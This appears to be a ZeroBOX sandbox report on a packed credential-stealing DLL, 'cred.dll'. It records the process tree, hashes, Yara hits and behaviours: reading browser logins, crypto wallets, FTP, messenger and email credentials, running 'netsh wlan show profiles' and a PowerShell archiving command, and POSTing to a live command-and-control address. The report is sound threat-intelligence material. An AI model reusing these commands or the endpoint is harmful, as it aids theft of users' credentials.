Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	July 29, 2024, 1:22 p.m.	July 29, 2024, 1:31 p.m.

Size	1.0MB
Type	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5	`d696e4ee5dac5d3e4b5073359224fcdc`
SHA256	`464c9f3dbdb0b3c747a7fd6e4e489474fd65b33b47b574bb02a63b46d2f87bef`
CRC32	`E4E02D2D`
ssdeep	`24576:7uPGDp7ea1ntX8tzz3kLYF9WHYND9PJlfEC05ar3uJK+tF5:JnVoA9JKWF5`
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsDLL - (no description) IsPE32 - (no description) UPX_Zero - UPX packed file Generic_Malware_Zero - Generic Malware OS_Processor_Check_Zero - OS Processor Check

rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\cred.dll,Main
2556
- netsh.exe netsh wlan show profiles
  2840
- powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\test22\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\test22\AppData\Local\Temp\832866432405_Desktop.zip' -CompressionLevel Optimal
  2952
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\cred.dll,
2724
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\cred.dll,Save
2640
explorer.exe C:\Windows\Explorer.EXE
1452

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
142.251.222.193	Active	Moloch
172.217.31.14	Active	Moloch
185.215.113.101	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 185.215.113.101:80 -> 192.168.56.101:49166	2400032	ET DROP Spamhaus DROP Listed Traffic Inbound group 33	Misc Attack

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 29, 2024, 1:15 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 29, 2024, 1:15 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 29, 2024, 1:15 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 29, 2024, 1:15 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 29, 2024, 1:15 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 29, 2024, 1:15 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 29, 2024, 1:22 p.m.			0	0
IsDebuggerPresent July 29, 2024, 1:22 p.m.			0	0
IsDebuggerPresent July 29, 2024, 1:15 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002d3df0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567000 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567000 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567000 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567000 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567000 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b566b30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b566b30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b566b30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b566b30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567460 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567460 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567460 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567230 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567230 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567230 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567930 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567930 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567930 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567930 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567930 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567930 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567930 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567930 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567a80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567a80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567a80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5679a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5679a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5677e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5677e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567230 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567230 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b567230 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002d3d10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002d3d10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002d4090 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002d4090 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b58eab0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b58eab0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b58eea0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b58eea0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002ba220 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002ba220 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002ba220 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 29, 2024, 1:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002ba220 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Tries to locate where the browsers are installed (3 events)

file	C:\Program Files (x86)\Google\Chrome\Application\Psi\profiles\default\accounts.xml
file	C:\Program Files\Mozilla Firefox\firefox.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 29, 2024, 1:15 p.m.		1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

POST method with no referer header, POST method with no useragent header, Connection to IP address

suspicious_request

POST http://185.215.113.101/g99kdj4vsA/index.php

Performs some HTTP requests (1 event)

request

POST http://185.215.113.101/g99kdj4vsA/index.php

Sends data using the HTTP POST Method (1 event)

request

POST http://185.215.113.101/g99kdj4vsA/index.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 203 events)

Time & API	Arguments	Status
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73575000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x764b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75d41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75e61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76161000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c11000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73660000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x735e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73401000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x733c4000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x735e2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73bf1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76281000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75bc1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75d21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73575000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x764b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75d41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75e61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76161000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c11000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73660000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x735e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73401000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x733c4000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x735e2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:22 p.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73bf1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 region_size: 1048576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002950000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000029d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 29, 2024, 1:15 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1e000 process_handle: 0xffffffffffffffff	1

Steals private information from local Internet browsers (5 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-wal
file	C:\Users\test22\AppData\Local\Chromium\User Data\Default\Login Data

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (1 event)

cmdline

powershell -Command Compress-Archive -Path 'C:\Users\test22\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\test22\AppData\Local\Temp\832866432405_Desktop.zip' -CompressionLevel Optimal

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (2 events)

Time & API	Arguments	Status	Return	Repeated
Process32NextW July 29, 2024, 1:22 p.m.	snapshot_handle: 0x00000178 process_name: wsqmcons.exe process_identifier: 2360	1	1	0
Process32NextW July 29, 2024, 1:22 p.m.	snapshot_handle: 0x00000178 process_name: schtasks.exe process_identifier: 2804	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW July 29, 2024, 1:15 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

netsh wlan show profiles

Communicates with host for which no DNS query was performed (3 events)

host	142.251.222.193
host	172.217.31.14
host	185.215.113.101

Attempts to access Bitcoin/ALTCoin wallets (2 events)

file	C:\Users\test22\AppData\Roaming\Electrum\wallets
file	C:\Users\test22\AppData\Roaming\Litecoin\wallets

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
registry	HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Harvests information related to installed instant messenger clients (18 events)

file	C:\Windows\.purple\accounts.xml
file	C:\util\Office.2010.Toolkit.and.EZ-Activator.v2.1.5.Final\.purple\accounts.xml
file	C:\Windows\System32\.purple\accounts.xml
file	C:\Program Files\Windows Photo Viewer\.purple\accounts.xml
file	C:\.purple\accounts.xml
file	C:\Program Files\_Sandboxie\.purple\accounts.xml
file	C:\Program Files (x86)\Internet Explorer\.purple\accounts.xml
file	C:\Program Files\Windows NT\Accessories\.purple\accounts.xml
file	C:\util\.purple\accounts.xml
file	C:\Python27\.purple\accounts.xml
file	C:\Program Files (x86)\Microsoft Office\Office12\.purple\accounts.xml
file	C:\Users\test22\Downloads\.purple\accounts.xml
file	C:\Program Files (x86)\Google\Chrome\Application\.purple\accounts.xml
file	C:\Program Files (x86)\Hnc\Hwp80\.purple\accounts.xml
file	C:\Program Files\_Wireshark\.purple\accounts.xml
file	C:\Windows\SysWOW64\.purple\accounts.xml
file	C:\Program Files (x86)\EditPlus\.purple\accounts.xml
file	C:\Users\test22\AppData\Roaming\.purple\accounts.xml

Harvests credentials from local email clients (2 events)

registry	HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles
registry	HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles

The process powershell.exe wrote an executable file to disk (19 events)

file	C:\Windows\System32\ie4uinit.exe
